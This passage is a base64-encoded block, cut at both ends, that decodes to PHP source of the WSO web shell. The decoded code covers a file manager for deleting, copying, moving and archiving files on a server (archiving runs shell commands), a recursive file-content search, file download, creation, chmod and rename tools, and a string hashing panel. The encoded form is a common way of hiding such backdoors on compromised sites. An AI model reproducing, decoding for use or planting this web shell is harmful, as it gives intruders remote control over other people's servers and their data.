ZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnbWtkaXInOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZighQG1rZGlyKCRfUE9TVFsncDInXSkpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgY3JlYXRlIG5ldyBkaXIiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ2RlbGV0ZSc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRoICA9IG9wZW5kaXIoJHBhdGgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICggKCRpdGVtID0gcmVhZGRpcigkZGgpICkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbSA9ICRwYXRoLiRpdGVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXRlbSkgPT0gIi4iKSApDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUgPSBmaWxldHlwZSgkaXRlbSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHR5cGUgPT0gImRpciIpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRlbGV0ZURpcigkaXRlbSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGl0ZW0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbG9zZWRpcigkZGgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBybWRpcigkcGF0aCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfYXJyYXkoQCRfUE9TVFsnZiddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfUE9TVFsnZiddIGFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZiA9PSAnLi4nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGYgPSB1cmxkZWNvZGUoJGYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRmKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVsZXRlRGlyKCRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ3Bhc3RlJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJF9DT09LSUVbJ2FjdCddID09ICdjb3B5Jykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGNvcHlfcGFzdGUoJGMsJHMsJGQpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRjLiRzKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZGlyKCRkLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBAb3BlbmRpcigkYy4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjb3B5KCRjLiRzLCAkZC4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9DT09LSUVbJ2YnXSBhcyAkZikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcGFzdGUoJF9DT09LSUVbJ2MnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYoJF9DT09LSUVbJ2FjdCddID09ICdtb3ZlJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIG1vdmVfcGFzdGUoJGMsJHMsJGQpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRjLiRzKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZGlyKCRkLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBAb3BlbmRpcigkYy4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYoQGlzX2ZpbGUoJGMuJHMpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY29weSgkYy4kcywgJGQuJHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAcmVuYW1lKCRfQ09PS0lFWydjJ10uJGYsICRHTE9CQUxTWydjd2QnXS4kZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAnemlwJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkemlwLT5vcGVuKCRfUE9TVFsncDInXSwgMSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkX0NPT0tJRVsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGYgPT0gJy4uJykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihAaXNfZmlsZSgkX0NPT0tJRVsnYyddLiRmKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUoJF9DT09LSUVbJ2MnXS4kZiwgJGYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoQGlzX2RpcigkX0NPT0tJRVsnYyddLiRmKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZXJhdG9yID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRmLicvJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGl0ZXJhdG9yIGFzICRrZXk9PiR2YWx1ZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUocmVhbHBhdGgoJGtleSksICRrZXkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ3VuemlwJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9DT09LSUVbJ2YnXSBhcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR6aXAtPm9wZW4oJF9DT09LSUVbJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+ZXh0cmFjdFRvKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAndGFyJykgew0KICAgICAgICAgICAgICAgICAgICBjaGRpcigkX0NPT0tJRVsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgJF9DT09LSUVbJ2YnXSA9IGFycmF5X21hcCgnZXNjYXBlc2hlbGxhcmcnLCAkX0NPT0tJRVsnZiddKTsNCiAgICAgICAgICAgICAgICAgICAgd3NvRXgoJ3RhciBjZnp2ICcgLiBlc2NhcGVzaGVsbGFyZygkX1BPU1RbJ3AyJ10pIC4gJyAnIC4gaW1wbG9kZSgnICcsICRfQ09PS0lFWydmJ10pKTsNCiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1bnNldCgkX0NPT0tJRVsnZiddKTsNCiAgICAgICAgICAgICAgICBzZXRjb29raWUoJ2YnLCAnJywgdGltZSgpIC0gMzYwMCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdTT3NldGNvb2tpZSgnYWN0JywgJF9QT1NUWydwMSddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBXU09zZXRjb29raWUoJ2YnLCBzZXJpYWxpemUoQCRfUE9TVFsnZiddKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1NPc2V0Y29va2llKCdjJywgQCRfUE9TVFsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB3c29IZWFkZXIoKTsNCiAgICAgICAgZWNobyAnPGgxPkZpbGUgbWFuYWdlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pj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PQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbW9kaWZ5JyA9PiBkYXRlKCdZLW0tZCBIOmk6cycsIEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSksDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdwZXJtcycgPT4gd3NvUGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnb3duZXInID0+ICRvd1snbmFtZSddPyRvd1snbmFtZSddOkBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2dyb3VwJyA9PiAkZ3JbJ25hbWUnXT8kZ3JbJ25hbWUnXTpAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgIGlmKEBpc19maWxlKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsNCiAgICAgICAgICAgICAgICBlbHNlaWYoQGlzX2xpbmsoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2xpbmsnLCAnbGluaycgPT4gcmVhZGxpbmsoJHRtcFsncGF0aCddKSkpOw0KICAgICAgICAgICAgICAgIGVsc2VpZihAaXNfZGlyKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkmJiAoJGRpckNvbnRlbnRbJGldICE9ICIuIikpDQogICAgICAgICAgICAgICAgICAgICAgICAkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdkaXInKSk7DQogICAgICAgIH0NCiAgICAgICAgJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0Ow0KICAgICAgICBmdW5jdGlvbiB3c29DbXAoJGEsICRiKSB7DQogICAgICAgICAgICAgICAgaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpDQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0pLCBzdHJ0b2xvd2VyKCRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7DQogICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICgoJGFbJ3NpemUnXSA8ICRiWydzaXplJ10pID8gLTEgOiAxKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsNCiAgICAgICAgfQ0KICAgICAgICB1c29ydCgkZmlsZXMsICJ3c29DbXAiKTsNCiAgICAgICAgdXNvcnQoJGRpcnMsICJ3c29DbXAiKTsNCiAgICAgICAgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7DQogICAgICAgICRsID0gMDsNCiAgICAgICAgZm9yZWFjaCgkZmlsZXMgYXMgJGYpIHsNCiAgICAgICAgICAgICAgICBlY2hvICc8dHInLigkbD8nIGNsYXNzPWwxJzonJykuJz48dGQ+PG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gICdzaGExIGhhc2gnID0+ICdzaGExJywNCiAgICAgICAgICAgICAgICAnY3J5cHQnID0+ICdjcnlwdCcsDQogICAgICAgICAgICAgICAgJ0NSQzMyJyA9PiAnY3JjMzInLA0KICAgICAgICAgICAgICAgICdBU0NJSSB0byBIRVgnID0+ICdhc2NpaTJoZXgnLA0KICAgICAgICAgICAgICAgICdIRVggdG8gQVNDSUknID0+ICdoZXgyYXNjaWknLA0KICAgICAgICAgICAgICAgICdIRVggdG8gREVDJyA9PiAnaGV4ZGVjJywNCiAgICAgICAgICAgICAgICAnSEVYIHRvIEJJTicgPT4gJ2hleDJiaW4nLA0KICAgICAgICAgICAgICAgICdERUMgdG8gSEVYJyA9PiAnZGVjaGV4JywNCiAgICAgICAgICAgICAgICAnREVDIHRvIEJJTicgPT4gJ2RlY2JpbicsDQogICAgICAgICAgICAgICAgJ0JJTiB0byBIRVgnID0+ICdiaW5oZXgnLA0KICAgICAgICAgICAgICAgICdCSU4gdG8gREVDJyA9PiAnYmluZGVjJywNCiAgICAgICAgICAgICAgICAnU3RyaW5nIHRvIGxvd2VyIGNhc2UnID0+ICdzdHJ0b2xvd2VyJywNCiAgICAgICAgICAgICAgICAnU3RyaW5nIHRvIHVwcGVyIGNhc2UnID0+ICdzdHJ0b3VwcGVyJywNCiAgICAgICAgICAgICAgICAnSHRtbHNwZWNpYWxjaGFycycgPT4gJ2h0bWxzcGVjaWFsY2hhcnMnLA0KICAgICAgICAgICAgICAgICdTdHJpbmcgbGVuZ3RoJyA9PiAnc3RybGVuJywNCiAgICAgICAgKTsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7DQogICAgICAgICAgICAgICAgV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4JywgdHJ1ZSk7DQogICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgICAgICAgICBpZihpbl9hcnJheSgkX1BPU1RbJ3AxJ10sICRz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LCBAZ2xvYigkcGF0aC4nKicsIEdMT0JfT05MWURJUikpKTsNCiAgICAgICAgICAgICAgICBpZihpc19hcnJheSgkcGF0aHMpJiZAY291bnQoJHBhdGhzKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkcGF0aHMgYXMgJGl0ZW0pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoQGlzX2RpcigkaXRlbSkpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRwYXRoIT0kaXRlbSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdzb1JlY3Vyc2l2ZUdsb2IoJGl0ZW0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGVtcHR5KCRfUE9TVFsncDInXSkgfHwgQHN0cnBvcyhmaWxlX2dldF9jb250ZW50cygkaXRlbSksICRfUE9TVFsncDInXSkhPT1mYWxzZSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsbnVsbCxcIiIudXJsZW5jb2RlKCRpdGVtKS4iXCIsIFwidmlld1wiLFwiXCIpJz4iLmh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0pLiI8L2E+PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYoQCRfUE9TVFsncDMnXSkNCiAgICAgICAgICAgICAgICB3c29SZWN1cnNpdmVHbG9iKCRfUE9TVFsnYyddKTsNCiAgICAgICAgZWNobyAiPC9kaXY+PGJyPjxoMT5TZWFyY2ggZm9yI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ICAgICAgICBpZiggaXNzZXQoJF9QT1NUWydwMSddKSApDQogICAgICAgICAgICAgICAgJF9QT1NUWydwMSddID0gdXJsZGVjb2RlKCRfUE9TVFsncDEnXSk7DQogICAgICAgIGlmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpIHsNCiAgICAgICAgICAgICAgICBpZihAaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICYmIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7DQogICAgICAgICAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIuYmFzZW5hbWUoJF9QT1NUWydwMSddKSk7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJtaW1lX2NvbnRlbnRfdHlwZSIpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlID0gQG1pbWVfY29udGVudF90eXBlKCRfUE9TVFsncDEnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiAiIC4gJHR5cGUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlDQogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgInIiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSghQGZlb2YoJGZwKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIEBmcmVhZCgkZnAsIDEwMjQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9ZXhpdDsNCiAgICAgICAgfQ0KICAgICAgICBpZiggQCRfUE9TVFsncDInXSA9PSAnbWtmaWxlJyApIHsNCiAgICAgICAgICAgICAgICBpZighZmlsZV9leGlzdHMoJF9QT1NUWydwMSddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3cnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AyJ10gPSAiZWRpdCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICB3c29IZWFkZXIoKTsNCiAgICAgICAgZWNobyAnPGgxPkZpbGUgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KICAgICAgICBpZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgew0KICAgICAgICAgICAgICAgIGVjaG8gJ0ZpbGUgbm90IGV4aXN0cyc7DQogICAgICAgICAgICAgICAgd3NvRm9vdGVyKCk7DQogICAgICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQogICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pKTsNCiAgICAgICAgaWYoISR1aWQpIHsNCiAgICAgICAgICAgICAgICAkdWlkWyduYW1lJ10gPSBAZmlsZW93bmVyKCRfUE9TVFsncDEnXSk7DQogICAgICAgICAgICAgICAgJGdpZFsnbmFtZSddID0gQGZpbGVncm91cCgkX1BPU1RbJ3AxJ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VuYW1lJywgJ1RvdWNoJyk7DQogICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAkbSA9IGFycmF5KCdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsNCiAgICAgICAgZm9yZWFjaCgkbSBhcyAkdikNCiAgICAgICAgICAgICAgICBlY2hvICc8YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsXCcnIC4gdXJsZW5jb2RlKCRfUE9TVFsncDEnXSkgLiAnXCcsXCcnLnN0cnRvbG93ZXIoJHYpLidcJykiPicuKChzdHJ0b2xvd2VyKCR2KT09QCRfUE9TVFsncDInXSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvYT4gJzsNCiAgICAgICAgZWNobyAnPGJyPjxicj4nOw0KICAgICAgICBzd2l0Y2goJF9QT1NUWydwMiddKSB7DQogICAgICAgICAgICAgICAgY2FzZSAndmlldyc6DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8cHJlIGNsYXNzPW1sMT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSggIUBmZW9mKCRmcCkgKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvcHJlPic7DQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdoaWdobGlnaHQnOg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb2RlID0gQGhpZ2hsaWdodF9maWxlKCRfUE9TVFsncDEnXSx0cnVlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBzdHJfcm